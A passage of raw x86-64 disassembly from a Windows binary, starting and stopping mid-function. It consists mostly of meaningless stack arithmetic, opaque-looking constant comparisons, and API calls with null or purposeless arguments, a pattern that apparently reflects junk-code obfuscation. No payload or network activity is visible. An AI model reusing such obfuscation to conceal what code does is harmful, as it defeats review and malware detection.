mov rax, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x150]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x140018010], rax
mov rax, qword [rsp + 0x1d8]
movzx eax, byte [rax]
mov byte [rsp + 0x508], al
movsx eax, word [rsp + 0x418]
movsx ecx, word [rsp + 0x4c0]
add eax, ecx
mov word [rsp + 0x670], ax
mov rax, qword [rsp + 0x5c0]
mov eax, dword [rax]
mov dword [rsp + 0x6d0], eax
cmp dword [rsp + 0x6d0], 0
je 0x140002835
cmp dword [rsp + 0x6d0], 0x7b5f
je 0x1400028c9
jmp 0x1400028fc
mov rax, qword [rsp + 0xf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3b0]
sub eax, ecx
mov byte [rsp + 0x99], al
mov rax, qword [rsp + 0x200]
movzx eax, word [rax]
mov word [rsp + 0x4d4], ax
mov rax, qword [rsp + 0x340]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4d4]
and eax, ecx
mov word [rsp + 0x148], ax
movzx eax, word [rsp + 0x4c0]
mov word [rsp + 0x120], ax
mov rax, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x5d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x150], rax
mov dword [rsp + 0x40], 0x54e9
lea rax, [rsp + 0x198]
mov qword [rsp + 0x5b0], rax
jmp 0x1400028fc
mov rax, qword [rsp + 0x290]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x348]
add ecx, eax
mov rax, qword [rsp + 0x5c0]
mov dword [rax], ecx
mov edx, dword [rsp + 0x180]
mov rax, qword [rsp + 0x170]
mov ecx, dword [rax]
call fcn.140001150
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x658], rax
movzx eax, word [rsp + 0x4d4]
movzx ecx, word [rsp + 0x148]
add eax, ecx
mov word [rsp + 0x390], ax
mov rax, qword [rsp + 0x1d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x638]
add eax, ecx
mov byte [rsp + 0x508], al
lea rax, [0x140018002]
mov qword [rsp + 0x320], rax
mov rax, qword [rsp + 0x1d8]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x638]
movzx ecx, al
sar edx, cl
movsx eax, byte [rsp + 0x508]
movsx ecx, byte [rsp + 0x5b8]
xor eax, ecx
cmp edx, eax
jle 0x140002a4e
lea rax, [rsp + 0x4c0]
mov qword [rsp + 0x3e0], rax
movzx eax, byte [rsp + 0x318]
mov byte [rsp + 0x630], al
mov rax, qword [rsp + 0x360]
mov rax, qword [rax]
mov qword [rsp + 0x550], rax
mov rcx, qword [rsp + 0x1a8]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x150]
or rax, rcx
mov qword [rsp + 0x4b0], rax
mov rax, qword [rsp + 0x658]
mov eax, dword [rax]
mov dword [0x140019340], eax
mov dword [rsp + 0x130], 0x895d
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x108], rax
lea rax, [rsp + 0x248]
mov qword [rsp + 0x440], rax
mov rax, qword [rsp + 0x340]
movzx edx, word [rax]
mov rax, qword [rsp + 0x200]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x4d4], ax
lea rax, [rsp + 0x418]
mov qword [rsp + 0x4e0], rax
mov dword [rsp + 0x268], 0x6f82
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x184], eax
mov rdx, qword [rsp + 0x5b0]
mov rax, qword [rsp + 0x198]
mov rdx, qword [rdx]
and rdx, rax
mov rcx, qword [rsp + 0x550]
mov rax, qword [rsp + 0x2b0]
add rax, rcx
cmp rdx, rax
je 0x140002a90
call fcn.140009c50
jmp 0x140002aed
movzx edx, word [rsp + 0x390]
mov rax, qword [rsp + 0x200]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x148], ax
lea rax, [rsp + 0x99]
mov qword [rsp + 0x540], rax
lea rax, [rsp + 0x3b0]
mov qword [rsp + 0x548], rax
mov rcx, qword [rsp + 0x1a8]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x5d8]
sub rax, rcx
mov qword [rsp + 0x4b0], rax
mov rax, qword [rsp + 0x290]
mov eax, dword [rax]
mov dword [rsp + 0x6d4], eax
cmp dword [rsp + 0x6d4], 0x22dd
je 0x140002b0d
jmp 0x140002b7c
mov rax, qword [rsp + 0x658]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0xa0]
mov rax, qword [rsp + 0x658]
mov edx, dword [rax]
mov rax, qword [rsp + 0x108]
mov ecx, dword [rax]
call fcn.140001000
mov rax, qword [rsp + 0x510]
mov rcx, qword [rsp + 0x2b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2b0], rax
mov rcx, qword [rsp + 0x1a8]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x5d8]
add rax, rcx
mov qword [0x140018010], rax
jmp 0x140009657
mov rax, qword [rsp + 0x3e0]
movsx edx, word [rax]
movsx eax, word [rsp + 0x120]
add edx, eax
mov rax, qword [rsp + 0x4e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c0]
sub eax, ecx
cmp edx, eax
jge 0x140002c98
mov rax, qword [rsp + 0x658]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x680]
sub eax, ecx
mov dword [rsp + 0xe8], eax
mov edx, 0x4a
mov rcx, qword [rsp + 0x2f8]
call qword [sym.imp.GDI32.dll_SetSystemPaletteUse]
mov dword [rsp + 0x448], eax
mov rcx, qword [rsp + 0x440]
mov eax, dword [rsp + 0x348]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x440]
mov dword [rax], ecx
mov rax, qword [rsp + 0x200]
movzx edx, word [rax]
mov rax, qword [rsp + 0x340]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x168], ax
movsx eax, byte [rsp + 0x318]
movsx ecx, byte [rsp + 0x5b8]
and eax, ecx
mov byte [rsp + 0x638], al
mov rax, qword [rsp + 0x4e0]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x418]
add ecx, eax
mov rax, qword [rsp + 0x3e0]
mov word [rax], cx
movzx edx, byte [rsp + 0x2ed]
movzx eax, byte [rsp + 0x470]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x3b0], al
mov rax, qword [rsp + 0x3e0]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x418]
xor ecx, eax
mov rax, qword [rsp + 0x4e0]
mov word [rax], cx
mov rax, qword [rsp + 0x108]
mov eax, dword [rax]
mov dword [rsp + 0x358], eax
movzx eax, byte [rsp + 0x470]
movzx ecx, byte [rsp + 0x3b0]
or eax, ecx
mov byte [0x140018003], al
mov rcx, qword [0x140018010]
mov rax, qword [rsp + 0x1a8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4b0], rax
mov eax, dword [rsp + 0x448]
mov ecx, dword [rsp + 0x248]
add ecx, eax
mov rax, qword [rsp + 0x440]
mov dword [rax], ecx
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0x3c8], rax
mov dword [rsp + 0x124], 0x6f4e
mov rax, qword [rsp + 0x1d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x318]
and eax, ecx
mov byte [rsp + 0x2ec], al
mov rax, qword [rsp + 0xf8]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x320]
movzx eax, byte [rax]
add r8d, eax
mov rax, qword [rsp + 0x548]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x540]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
cmp r8d, eax
jle 0x140002e24
lea rax, [rsp + 0x148]
mov qword [rsp + 0x530], rax
lea rax, [rsp + 0x260]
mov qword [rsp + 0x188], rax
lea rax, [rsp + 0x4c0]
mov qword [rsp + 0x450], rax
mov rax, qword [rsp + 0x540]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x548]
movzx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0xf8]
mov byte [rax], cl
mov rax, qword [rsp + 0x5c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x448]
sub ecx, eax
mov rax, qword [rsp + 0x628]
mov dword [rax], ecx
mov rax, qword [rsp + 0x658]
mov eax, dword [rax]
mov dword [rsp + 0x3a0], eax
mov rcx, qword [rsp + 0x2b8]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x360]
add rcx, qword [rax]
mov rax, qword [rsp + 0x250]
mov qword [rax], rcx
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc8], rax
jmp 0x140002e52
mov rax, qword [rsp + 0x200]
movzx r9d, word [rax]
movzx r8d, word [0x140018008]
mov rax, qword [rsp + 0x658]
mov edx, dword [rax]
mov rcx, qword [rsp + 0x3c8]
mov rcx, qword [rcx]
call fcn.140009ca0
mov rdx, qword [rsp + 0x1a8]
mov rax, qword [rsp + 0x4b0]
mov rdx, qword [rdx]
and rdx, rax
mov rcx, qword [rsp + 0x150]
mov rax, qword [0x140018010]
or rax, rcx
cmp rdx, rax
jge 0x140002f10
mov rax, qword [rsp + 0x1a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5d8]
sar rax, cl
mov qword [rsp + 0x4b0], rax
movzx edx, word [0x140018004]
mov rax, qword [rsp + 0x340]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x4d4], ax
movzx eax, word [rsp + 0x148]
movzx ecx, word [rsp + 0x390]
sub eax, ecx
mov word [rsp + 0x168], ax
mov rax, qword [rsp + 0x200]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x530]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x658]
mov edx, dword [rax]
mov rcx, qword [rsp + 0x198]
call fcn.140009ca0
jmp 0x140002f9d
mov rax, qword [rsp + 0x5d8]
mov qword [rsp + 0x6d8], rax
movabs rax, 0x71e2f07b2f84f0
cmp qword [rsp + 0x6d8], rax
je 0x140002f36
jmp 0x140002f73
movsx ecx, word [rsp + 0x670]
movsx eax, word [rsp + 0x120]
and ecx, eax
mov rax, qword [rsp + 0x450]
mov word [rax], cx
movsx edx, byte [rsp + 0x638]
mov rax, qword [rsp + 0x1d8]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x260], al
jmp 0x140002f9d
mov rdx, qword [rsp + 0x108]
mov rax, qword [rsp + 0x170]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [0x140018018], eax
movzx eax, byte [0x140018002]
mov byte [rsp + 0x624], al
mov rax, qword [rsp + 0x1a8]
mov rax, qword [rax]
mov qword [rsp + 0x6e0], rax
movabs rax, 0x72d9031d781e17
cmp qword [rsp + 0x6e0], rax
je 0x140002fc9
jmp 0x140003052
mov ecx, dword [rsp + 0x448]
mov eax, dword [rsp + 0x248]
add eax, ecx
mov dword [rsp + 0x348], eax
mov rax, qword [rsp + 0x170]
mov eax, dword [rax]
add eax, dword [rsp + 0x180]
mov dword [rsp + 0xe8], eax
mov edx, 1
mov rcx, qword [rsp + 0x618]
call qword [sym.imp.SHELL32.dll_DragAcceptFiles]
mov rax, qword [rsp + 0x510]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x198]
sub rcx, rax
mov rax, qword [rsp + 0x3c8]
mov qword [rax], rcx
movzx ecx, byte [rsp + 0x3b0]
movzx eax, byte [rsp + 0x2ed]
add ecx, eax
mov rax, qword [rsp + 0xf8]
mov byte [rax], cl
call fcn.1400010b0
jmp 0x14000962f
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x488], rax
movzx edx, byte [rsp + 0x470]
mov rax, qword [rsp + 0x320]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x99], al
lea rax, [rsp + 0x2ec]
mov qword [rsp + 0x3a8], rax
lea rax, [rsp + 0x318]
mov qword [0x140019380], rax
lea rax, [rsp + 0x4d4]
mov qword [rsp + 0x500], rax
cmp dword [rsp + 0x130], 0xaa05
ja 0x140003390
mov rax, qword [rsp + 0x450]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x418]
xor eax, ecx
mov word [rsp + 0x4c0], ax
mov rax, qword [rsp + 0x1a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x150]
shl rax, cl
mov qword [rsp + 0x4b0], rax
mov rax, qword [rsp + 0x3c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x198]
or rcx, rax
mov rax, qword [rsp + 0x510]
mov qword [rax], rcx
mov rax, qword [rsp + 0x658]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x108]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa0], eax
mov ecx, dword [rsp + 0x348]
mov eax, dword [rsp + 0x248]
and eax, ecx
mov dword [rsp + 0x448], eax
movsx ecx, byte [rsp + 0x508]
mov rax, qword [rsp + 0x3a8]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x188]
mov byte [rax], cl
movzx edx, byte [rsp + 0x624]
mov rax, qword [rsp + 0x540]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x99], al
mov rax, qword [rsp + 0x4e0]
movsx edx, word [rax]
mov rax, qword [rsp + 0x450]
movsx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x120], ax
movzx eax, word [rsp + 0x390]
movzx ecx, word [rsp + 0x4d4]
sub eax, ecx
mov word [0x140018004], ax
mov rax, qword [rsp + 0xf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3b0]
add eax, ecx
mov byte [rsp + 0x470], al
mov rcx, qword [rsp + 0x1a8]
mov rcx, qword [rcx]
mov rax, qword [0x140018010]
add rax, rcx
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x658]
mov ecx, dword [rsp + 0x680]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x180], eax
mov rax, qword [rsp + 0x440]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x248]
add eax, ecx
mov dword [rsp + 0x448], eax
mov rcx, qword [rsp + 0x550]
mov rax, qword [rsp + 0x5b0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2b0], rax
mov rax, qword [rsp + 0x4e0]
movsx edx, word [rax]
movsx eax, word [section..data]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x4c0], ax
mov rax, qword [rsp + 0x200]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x168]
or eax, ecx
mov word [rsp + 0x4d4], ax
mov rax, qword [rsp + 0x200]
movzx edx, word [rax]
mov rax, qword [rsp + 0x530]
movzx ecx, word [rax]
mov eax, edx
xor eax, ecx
mov word [rsp + 0x390], ax
movsx ecx, byte [rsp + 0x260]
mov rax, qword [rsp + 0x188]
movsx eax, byte [rax]
and ecx, eax
mov rax, qword [0x140019380]
mov byte [rax], cl
movsx edx, byte [rsp + 0x260]
mov rax, qword [rsp + 0x188]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x5b8], al
mov rcx, qword [rsp + 0x1a8]
mov rax, qword [rsp + 0x4b0]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x1a8]
mov qword [rax], rcx
mov eax, dword [rsp + 0x130]
add eax, 0x98
mov dword [rsp + 0x130], eax
mov rax, qword [rsp + 0x5c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x290]
add eax, dword [rcx]
mov dword [rsp + 0x448], eax
mov rax, qword [rsp + 0x698]
mov rcx, qword [rsp + 0x250]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2b0], rax
mov ecx, dword [rsp + 0x680]
mov eax, dword [rsp + 0x180]
and eax, ecx
mov dword [rsp + 0xa0], eax
jmp 0x1400030c1
mov rax, qword [rsp + 0x4e0]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x120]
sub ecx, eax
mov rax, qword [rsp + 0x3e0]
mov word [rax], cx
mov rax, qword [rsp + 0x530]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x200]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x500]
mov word [rax], cx
mov rax, qword [rsp + 0x540]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0xf8]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x540]
mov byte [rax], cl
movsx ecx, byte [rsp + 0x5b8]
movsx eax, byte [rsp + 0x260]
add ecx, eax
mov rax, qword [0x140019380]
mov byte [rax], cl
movsx edx, byte [rsp + 0x260]
movsx eax, byte [rsp + 0x638]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x318], al
mov rcx, qword [rsp + 0x198]
mov rax, qword [rsp + 0x550]
xor rax, rcx
mov qword [rsp + 0x2b0], rax
mov rdx, qword [rsp + 0x440]
mov rax, qword [rsp + 0x628]
mov ecx, dword [rax]
mov eax, dword [rdx]
or eax, ecx
mov dword [rsp + 0x248], eax
mov rax, qword [rsp + 0x108]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x658]
mov eax, dword [rax]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x658]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x1a8]
mov rax, qword [rsp + 0x4b0]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x1a8]
mov qword [rax], rcx
movsx eax, word [rsp + 0x670]
movsx ecx, word [rsp + 0x418]
sub eax, ecx
mov word [rsp + 0x120], ax
movsx eax, byte [0x140019344]
movsx ecx, byte [rsp + 0x508]
sub eax, ecx
mov byte [rsp + 0x5b8], al
mov eax, dword [rsp + 0x59c]
sub eax, 0xe3
mov dword [rsp + 0x59c], eax
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x424], eax
movzx eax, byte [rsp + 0x470]
movzx ecx, byte [rsp + 0x2ed]
add eax, ecx
mov byte [rsp + 0x99], al
movsx ecx, byte [rsp + 0x260]
mov rax, qword [rsp + 0x3a8]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [0x140019380]
mov byte [rax], cl
movsx eax, word [rsp + 0x670]
movsx ecx, word [rsp + 0x120]
add eax, ecx
mov word [rsp + 0x4c0], ax
movsx ecx, byte [rsp + 0x638]
mov rax, qword [rsp + 0x3a8]
movsx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0x1d8]
mov byte [rax], cl
mov rax, qword [rsp + 0x5d8]
mov rcx, qword [0x140018010]
sub rcx, rax
mov rax, qword [rsp + 0x1a8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x170]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x658]
add eax, dword [rcx]
mov dword [rsp + 0x3a0], eax
mov rcx, qword [rsp + 0x250]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x698]
add rcx, qword [rax]
mov rax, qword [rsp + 0x250]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x5c0]
mov rax, qword [rsp + 0x440]
mov eax, dword [rax]
mov ecx, dword [rcx]
or ecx, eax
mov rax, qword [rsp + 0x290]
mov dword [rax], ecx
mov rax, qword [rsp + 0x320]
movzx edx, byte [rax]
movzx eax, byte [0x140018003]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x99], al
mov rax, qword [rsp + 0x3e0]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x418]
xor ecx, eax
mov rax, qword [rsp + 0x4e0]
mov word [rax], cx
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx r11d, byte [rsp + 0x638]
movsx eax, byte [rsp + 0x318]
movzx ecx, al
mov eax, r11d
sar eax, cl
mov ecx, eax
mov rax, qword [0x140019380]
mov byte [rax], cl
movzx edx, byte [rsp + 0x624]
mov rax, qword [rsp + 0xf8]
movzx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x470], al
mov rax, qword [rsp + 0x3a8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x638]
sub ecx, eax
mov rax, qword [rsp + 0x3a8]
mov byte [rax], cl
mov rcx, qword [rsp + 0x2b8]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x2b0]
mov rax, qword [rsp + 0x3c8]
mov qword [rax], rcx
cmp dword [rsp + 0x59c], 0x1bd2
ja 0x140003390
mov ecx, dword [rsp + 0xe8]
mov eax, dword [rsp + 0x680]
add eax, ecx
mov dword [rsp + 0x3a0], eax
mov eax, dword [rsp + 0x248]
mov ecx, dword [rsp + 0x448]
sub ecx, eax
mov rax, qword [rsp + 0x290]
mov dword [rax], ecx
mov rax, qword [rsp + 0x5d8]
mov qword [rsp + 0x608], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x180]
mov edx, dword [rsp + 0x358]
sub edx, eax
mov rax, qword [rsp + 0x658]
mov ecx, dword [0x140018018]
mov eax, dword [rax]
sub eax, ecx
cmp edx, eax
je 0x140003782
movzx eax, word [0x140018008]
movzx ecx, word [rsp + 0x390]
xor eax, ecx
mov word [rsp + 0x148], ax
movzx eax, word [rsp + 0x670]
mov word [rsp + 0x334], ax
movzx edx, word [rsp + 0x148]
mov rax, qword [rsp + 0x200]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x4d4], ax
jmp 0x1400037fa
mov rax, qword [rsp + 0x3e0]
movsx r8d, word [rax]
movsx eax, word [rsp + 0x4c0]
and r8d, eax
movsx edx, word [rsp + 0x670]
mov rax, qword [rsp + 0x4e0]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
cmp r8d, eax
jle 0x1400037fa
mov rax, qword [rsp + 0x320]
movzx edx, byte [rax]
mov rax, qword [rsp + 0xf8]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x470], al
mov rax, qword [rsp + 0x1d8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x3a8]
movsx ecx, byte [rax]
mov eax, edx
or eax, ecx
mov byte [rsp + 0x5b8], al
mov rax, qword [rsp + 0x5c0]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x448]
add eax, ecx
mov dword [rsp + 0x248], eax
mov rax, qword [rsp + 0x510]
mov rcx, qword [rsp + 0x5b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2b0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov r11d, dword [0x140018018]
mov ecx, dword [rsp + 0xe8]
sub ecx, r11d
mov rax, qword [rsp + 0x658]
mov dword [rax], ecx
mov rax, qword [rsp + 0x5d8]
mov rcx, qword [rsp + 0x608]
sub rcx, rax
mov rax, qword [rsp + 0x1a8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x188]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x318]
add eax, ecx
mov byte [rsp + 0x638], al
movsx ecx, byte [rsp + 0x630]
mov rax, qword [rsp + 0x3a8]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [0x140019380]
mov byte [rax], cl
mov rax, qword [rsp + 0x3e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x670]
add eax, ecx
mov word [rsp + 0x120], ax
mov rax, qword [rsp + 0x4e0]
movsx edx, word [rax]
mov rax, qword [rsp + 0x3e0]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x670], ax
mov eax, dword [rsp + 0x430]
sub eax, 0x8a
mov dword [rsp + 0x430], eax
movzx eax, word [rsp + 0x390]
movzx ecx, word [rsp + 0x168]
add eax, ecx
mov word [rsp + 0x148], ax
mov rdx, qword [rsp + 0x170]
mov rax, qword [rsp + 0x108]
mov ecx, dword [rax]
mov eax, dword [rdx]
and eax, ecx
mov dword [rsp + 0xa0], eax
cmp dword [rsp + 0x430], 0x6247
ja 0x1400037fa
mov rcx, qword [rsp + 0x550]
mov rax, qword [rsp + 0x2b0]
or rax, rcx
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x1a8]
mov rax, qword [rax]
mov qword [rsp + 0x428], rax
mov rax, qword [rsp + 0x170]
mov eax, dword [rax]
mov dword [rsp + 0x6e8], eax
cmp dword [rsp + 0x6e8], 0
je 0x14000399d
jmp 0x1400039de
mov eax, dword [rsp + 0x448]
movzx ecx, al
mov eax, dword [rsp + 0x248]
shl eax, cl
mov dword [rsp + 0x348], eax
movzx eax, word [rsp + 0x168]
mov word [rsp + 0x574], ax
mov rax, qword [rsp + 0x250]
mov rax, qword [rax]
mov qword [0x140019388], rax
jmp 0x140003a7c
mov rax, qword [rsp + 0x3e0]
movsx edx, word [rax]
movsx eax, word [rsp + 0x334]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x670], ax
movzx ecx, byte [rsp + 0x624]
movzx eax, byte [rsp + 0x470]
xor ecx, eax
mov rax, qword [rsp + 0x548]
mov byte [rax], cl
movsx edx, byte [rsp + 0x638]
mov rax, qword [rsp + 0x1d8]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x508], al
mov rax, qword [rsp + 0x450]
movsx edx, word [rax]
mov rax, qword [rsp + 0x4e0]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x334], ax
mov rcx, qword [rsp + 0x1a8]
mov rax, qword [0x140018010]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x1a8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x628]
mov ecx, dword [rsp + 0x448]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x248], eax
mov eax, dword [rsp + 0xe8]
mov ecx, dword [rsp + 0x680]
add ecx, eax
mov rax, qword [rsp + 0x170]
mov dword [rax], ecx
lea rax, [rsp + 0x550]
mov qword [rsp + 0x2c8], rax
lea rax, [rsp + 0x5b8]
mov qword [0x140019348], rax
movzx ecx, word [rsp + 0x148]
movzx eax, word [rsp + 0x168]
add ecx, eax
mov rax, qword [rsp + 0x340]
mov word [rax], cx
movzx eax, byte [rsp + 0x3b0]
mov byte [rsp + 0x26c], al
mov rax, qword [rsp + 0x3a8]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x188]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x1d8]
mov byte [rax], cl
mov eax, dword [rsp + 0x448]
mov edx, dword [rsp + 0x348]
sub edx, eax
mov rax, qword [rsp + 0x5c0]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x248]
add eax, ecx
cmp edx, eax
ja 0x140003bdd
movsx r8d, byte [rsp + 0x638]
movsx eax, byte [rsp + 0x5b8]
movzx ecx, al
shl r8d, cl
mov rax, qword [rsp + 0x188]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x630]
movzx ecx, al
mov eax, edx
sar eax, cl
cmp r8d, eax
jge 0x140003bd8
movzx eax, byte [rsp + 0x2ed]
mov byte [rsp + 0x370], al
mov rax, qword [rsp + 0x698]
mov rcx, qword [rsp + 0x3c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x2b0], rax
lea rax, [rsp + 0x4b0]
mov qword [rsp + 0x388], rax
mov rax, qword [rsp + 0x290]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x448]
xor eax, ecx
mov dword [rsp + 0x248], eax
jmp 0x140003c92
mov rdx, qword [rsp + 0x170]
mov rax, qword [rsp + 0x658]
mov ecx, dword [rax]
mov eax, dword [rdx]
and eax, ecx
mov dword [rsp + 0xe8], eax
mov rax, qword [rsp + 0x340]
movzx r9d, word [rax]
movzx r8d, word [rsp + 0x148]
mov edx, dword [0x140019340]
mov rcx, qword [rsp + 0x3c8]
mov rcx, qword [rcx]
call fcn.140009ca0
movsx r11d, word [rsp + 0x418]
mov rax, qword [rsp + 0x3e0]
movsx ecx, word [rax]
mov eax, r11d
sub eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0x500]
movzx edx, word [rax]
mov rax, qword [rsp + 0x200]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x148], ax
mov r9d, 0x98
lea r8, [rsp + 0x258]
lea rdx, [rsp + 0x650]
mov rcx, qword [rsp + 0x4a8]
call qword [sym.imp.GDI32.dll_GetPath]
mov dword [rsp + 0x3a0], eax
mov rax, qword [rsp + 0x458]
movzx eax, word [rax]
mov word [rsp + 0x1f8], ax
mov rax, qword [rsp + 0x4e0]
movsx edx, word [rax]
mov rax, qword [rsp + 0x450]
movsx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x4c0], ax
mov rax, qword [rsp + 0x320]
movzx eax, byte [rax]
mov byte [rsp + 0x4f8], al
mov rax, qword [rsp + 0x1d8]
movsx r8d, byte [rax]
mov rax, qword [rsp + 0x188]
movsx eax, byte [rax]
imul r8d, eax
mov rax, qword [rsp + 0x3a8]
movsx edx, byte [rax]
mov rax, qword [0x140019348]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
cmp r8d, eax
jl 0x140003da3
mov rax, qword [rsp + 0x5c0]
mov eax, dword [rax]
add eax, dword [rsp + 0x248]
